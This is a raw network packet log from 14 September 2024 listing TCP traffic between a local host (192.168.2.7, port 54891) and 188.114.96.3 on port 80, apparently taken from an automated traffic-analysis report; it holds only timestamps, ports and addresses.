Sep 14, 2024 18:44:27.459317923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459341049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459374905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459389925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459431887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459465027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459475994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459501028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459551096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459583998 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459583998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459618092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459624052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459654093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459688902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459697962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459723949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459758043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459764957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459793091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459832907 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459846973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459882975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459916115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459924936 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.459949970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459980011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.459992886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460035086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460067987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460078001 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460100889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460134029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460149050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460182905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460216045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460222960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460252047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460283041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460293055 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460315943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460350037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460355997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460402012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460434914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460441113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460469007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460503101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460514069 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460539103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460581064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460589886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460623980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460655928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460668087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460690975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460731983 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460741997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460776091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460808992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460815907 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460843086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460876942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460884094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460910082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460951090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.460962057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.460994959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.461025953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.461030960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.461060047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.461092949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.461100101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.461127043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.461159945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.461170912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.461194992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.461231947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.461236000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.502208948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.519664049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.519700050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.519716978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.519738913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.519746065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.519754887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.519769907 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.519834042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.519834042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.519838095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543155909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543175936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543203115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543220997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543236017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543251991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543301105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543325901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.543337107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543369055 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.543474913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543504953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543525934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.543538094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543581963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.543590069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543622017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543678045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.543679953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543714046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543761015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.543765068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543800116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543850899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.543854952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543903112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543935061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543947935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.543967962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.543999910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544009924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.544034004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544075966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.544095993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544131041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544162989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544173002 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.544194937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544229984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544235945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.544264078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544296980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544306040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.544353962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544385910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544399023 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.544414997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544446945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544492960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544517994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.544524908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544538975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.544559956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544591904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544599056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.544626951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544658899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544677973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.544691086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544725895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544737101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.544760942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544794083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544807911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.544830084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544862986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.544871092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.545262098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545312881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545325994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.545346022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545394897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.545464993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545495987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545527935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545561075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545592070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545622110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545655012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545686007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545717001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545748949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.545748949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.545748949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.545762062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.545768023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545819044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545821905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.545850992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545883894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545895100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.545917034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.545959949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.545967102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546000004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546034098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546046019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546066046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546103954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546112061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546138048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546169996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546180964 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546233892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546269894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546281099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546303034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546335936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546341896 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546363115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546377897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546394110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546403885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546411037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546426058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546437025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546442032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546458960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546469927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546474934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546490908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546500921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546509027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546531916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546575069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546587944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546617031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546678066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546699047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546713114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546719074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546729088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546744108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546755075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546778917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.546920061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546945095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546958923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546973944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.546988010 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.547044992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547055960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.547060013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547096968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.547188044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547204018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547219992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547234058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547250986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547293901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547305107 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.547308922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547336102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.547348022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547362089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547396898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.547533035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547548056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547563076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547586918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.547607899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.547630072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547646046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547661066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547676086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.547694921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.547761917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.606375933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.606466055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.606479883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.606502056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.606515884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.606633902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.606647968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.606662989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.606728077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.606728077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.606728077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.606729031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.629959106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630002975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630058050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630093098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630125046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630139112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.630156040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.630158901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630203962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630211115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.630259037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630291939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630302906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.630352020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630379915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630402088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.630429983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630477905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.630481005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630513906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630546093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630564928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.630579948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630616903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630628109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.630645037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630678892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630691051 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.630713940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630755901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.630764008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630798101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630830050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630845070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.630863905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630897999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630909920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.630948067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630975962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.630994081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.631007910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631042004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631053925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.631078005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631124973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.631131887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631180048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631213903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631225109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.631247044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631278992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631293058 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.631314993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631349087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631362915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.631402969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631437063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631455898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.631469965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631505966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631515980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.631539106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631572008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.631582975 CEST	54891	80	192.168.2.7	188.114.96.3
